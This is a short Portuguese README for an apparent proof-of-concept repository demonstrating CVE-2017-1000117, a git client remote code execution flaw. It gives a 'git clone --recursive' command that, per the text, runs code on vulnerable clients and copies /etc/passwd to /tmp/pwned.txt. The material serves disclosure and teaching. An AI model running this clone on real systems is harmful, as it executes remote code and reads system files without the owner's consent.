
Exploit de prova de conceito para CVE-2017-1000117, uma vulnerabilidade de execução remota de código em clientes git anteriores à v2.14.1, demonstrando exploração de clonagem recursiva para fins educacionais.
Repositório GIT de teste para o PoC git-client-rce (CVE-2017-1000117)
https://marc.info/?l=git&m=150238802328673&w=2
Esta CVE afeta todos os clientes git < v2.14.1
Execute o seguinte no sistema de teste para ver o PoC:
$git clone --recursive https://github.com/thelastbyte/CVE-2017-1000117.git
A execução bem-sucedida resultará na cópia do conteúdo de /etc/passwd para /tmp/pwned.txt